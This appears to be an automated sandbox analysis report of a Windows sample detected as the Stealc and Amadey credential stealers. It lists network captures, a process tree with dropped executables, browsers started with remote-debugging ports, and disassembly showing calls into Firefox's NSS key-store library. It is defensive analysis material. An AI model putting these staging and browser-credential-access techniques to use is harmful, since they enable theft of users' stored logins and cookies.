_EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; msnup=
2024-11-27 16:59:05 UTC	9623	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 38 3a 34 39 3a 32 38 2e 31 39 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 39 65 62 34 38 37 37 2d 62 38 62 66 2d 34 35 34 37 2d 39 61 61 38 2d 64 36 61 36 63 62 37 63 62 64 32 62 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 37 34 38 35 30 36 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-27T18:49:28.192Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":7,"installId":"29eb4877-b8bf-4547-9aa8-d6a6cb7cbd2b","epoch":"2687485063"},"app":{"loc
2024-11-27 16:59:06 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b9a30541fe764dff8a91ea2f6092c35f&HASH=b9a3&LV=202411&V=4&LU=1732726745974; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 16:59:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=94a6c135aafd45138c13ce87b6e48c97; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 17:29:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6622218 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 16:59:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:06 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:07 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 28a36876-101e-0034-3966-4096ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165907Z-174f78459684bddphC1EWRbht40000000wwg00000000n31c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:07 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Target ID:	1
Start time:	11:58:11
Start date:	27/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x220000
File size:	1'773'056 bytes
MD5 hash:	D46594ED682B1CCEDACB957752BA9E25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1874484736.0000000000221000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.1297316398.0000000005170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:58:25
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:58:25
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2196,i,6148873986735286690,16482013461784246159,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:49:01
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:49:02
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2224,i,13498056938333319080,12696969808079117186,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:49:02
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:49:02
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2892 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	13:49:06
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6504 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:49:06
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6568 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:49:35
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDGDAKFHI.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:49:35
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:49:35
Start date:	27/11/2024
Path:	C:\Users\user\DocumentsFIDGDAKFHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFIDGDAKFHI.exe"
Imagebase:	0xb20000
File size:	1'915'392 bytes
MD5 hash:	122B329B0B6D825D6E8582916D00AB2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.1863507390.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.1950247019.0000000000B21000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:49:42
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x80000
File size:	1'915'392 bytes
MD5 hash:	122B329B0B6D825D6E8582916D00AB2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.1940928200.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.1981189738.0000000000081000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:50:00
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x80000
File size:	1'915'392 bytes
MD5 hash:	122B329B0B6D825D6E8582916D00AB2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2545609227.0000000000081000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2106411641.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	13:50:02
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	13:50:17
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009648001\dd3583c805.exe"
Imagebase:	0x350000
File size:	4'429'312 bytes
MD5 hash:	00BEDF34423C32A7A98CBE359D7DAE8F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	13:50:26
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe"
Imagebase:	0xca0000
File size:	1'849'344 bytes
MD5 hash:	2625167E750E973A5B3819AFE3B1DC61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000002.2566492588.0000000001735000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	13:50:35
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009654001\ef7381e244.exe"
Imagebase:	0x80000
File size:	1'773'056 bytes
MD5 hash:	D46594ED682B1CCEDACB957752BA9E25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000003.2471979549.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2528677354.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2515345753.0000000000081000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:50:41
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe"
Imagebase:	0xca0000
File size:	1'849'344 bytes
MD5 hash:	2625167E750E973A5B3819AFE3B1DC61
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CE96E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFE2120,6CE97E60), ref: 6CE96EBC
TlsGetValue.KERNEL32 ref: 6CE96EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE96EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE96F25

Part of subcall function 6CE6A900: TlsGetValue.KERNEL32(00000000,?,6CFE14E4,?,6CE04DD9), ref: 6CE6A90F
Part of subcall function 6CE6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE6A94F

PR_Unlock.NSS3 ref: 6CE96F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE96FA9
TlsGetValue.KERNEL32 ref: 6CE970B4
EnterCriticalSection.KERNEL32(?), ref: 6CE970C8
PR_CallOnce.NSS3(6CFE24C0,6CED7590), ref: 6CE97104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE97117
SECOID_Init.NSS3 ref: 6CE97128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE9714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE9717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE971A9
PR_NotifyAllCondVar.NSS3 ref: 6CE971CF
PR_Unlock.NSS3 ref: 6CE971DD
free.MOZGLUE(?), ref: 6CE971EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE97208
free.MOZGLUE(00000000), ref: 6CE97221
free.MOZGLUE(00000001), ref: 6CE97235
TlsGetValue.KERNEL32 ref: 6CE9724A
EnterCriticalSection.KERNEL32(?), ref: 6CE9725E
PR_NotifyCondVar.NSS3 ref: 6CE97273
PR_Unlock.NSS3 ref: 6CE97281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE97291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE972B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE972D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE972E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFD0148,,defaultModDB,internalKeySlot), ref: 6CE974CC
free.MOZGLUE(00000000), ref: 6CE97513
free.MOZGLUE(00000000), ref: 6CE9751B
free.MOZGLUE(00000000), ref: 6CE97528
free.MOZGLUE(00000000), ref: 6CE9753C
free.MOZGLUE(00000000), ref: 6CE97550
free.MOZGLUE(00000000), ref: 6CE97561
free.MOZGLUE(00000000), ref: 6CE97572
free.MOZGLUE(00000000), ref: 6CE97583
free.MOZGLUE(00000000), ref: 6CE97594
free.MOZGLUE(00000000), ref: 6CE975A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE975BD
free.MOZGLUE(00000000), ref: 6CE975C8
free.MOZGLUE(00000000), ref: 6CE975F1
PR_NewLock.NSS3 ref: 6CE97636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE97686
PR_NewLock.NSS3 ref: 6CE976A2

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE976B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE97707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE9771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE97731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE9774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE97770
free.MOZGLUE(?), ref: 6CE97779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE9779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE977AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE977C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE977DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE97821
PORT_Alloc_Util.NSS3(?), ref: 6CE97837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE9785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE9786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE978AC
free.MOZGLUE(00000000), ref: 6CE978BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE978F3
free.MOZGLUE(00000000), ref: 6CE978FC
free.MOZGLUE(00000000), ref: 6CE9791C

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

Strings

kbi., xrefs: 6CE97886
dll, xrefs: 6CE9788E
dbm:, xrefs: 6CE97716
,defaultModDB,internalKeySlot, xrefs: 6CE9748D, 6CE974AA
rdb:, xrefs: 6CE97744
NSS Internal Module, xrefs: 6CE974A2, 6CE974C6
sql:, xrefs: 6CE976FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE974C7
Spac, xrefs: 6CE97389
extern:, xrefs: 6CE9772B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 2698987ecf4b75a55a939c18ecc0e1c134cfafd557ae7d58728a32522ad49a99
Instruction ID: ef2ed439f4ac7da421d94d261b598dc3e4a64e46d5c4954c0e4d20d1c671586a
Opcode Fuzzy Hash: 2698987ecf4b75a55a939c18ecc0e1c134cfafd557ae7d58728a32522ad49a99
Instruction Fuzzy Hash: 8252F5B1E11305ABEF519F64CC057AA7BB4BF0A30CF254029ED09A7741EB71E958CB92

Function 6CEBBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CEBC0C8

Part of subcall function 6CF49440: LeaveCriticalSection.KERNEL32 ref: 6CF495CD
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF49622
Part of subcall function 6CF49440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF4964E

PR_EnterMonitor.NSS3 ref: 6CEBC0AE

Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF491AA
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49212
Part of subcall function 6CF49090: _PR_MD_WAIT_CV.NSS3 ref: 6CF4926B

Part of subcall function 6CE70600: GetLastError.KERNEL32(?,?,?,?,?,6CE705E2), ref: 6CE70642
Part of subcall function 6CE70600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE705E2), ref: 6CE7065D
Part of subcall function 6CE70600: GetLastError.KERNEL32 ref: 6CE70678
Part of subcall function 6CE70600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE7068A
Part of subcall function 6CE70600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE70693
Part of subcall function 6CE70600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE7069D
Part of subcall function 6CE70600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,81714631,?,?,?,?,?,6CE705E2), ref: 6CE706CA
Part of subcall function 6CE70600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE705E2), ref: 6CE706E6

PR_EnterMonitor.NSS3 ref: 6CEBC0F2
PR_ExitMonitor.NSS3 ref: 6CEBC10E
PR_ExitMonitor.NSS3 ref: 6CEBC081

Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF4945B
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF49479
Part of subcall function 6CF49440: EnterCriticalSection.KERNEL32 ref: 6CF49495
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF494E4
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF49532
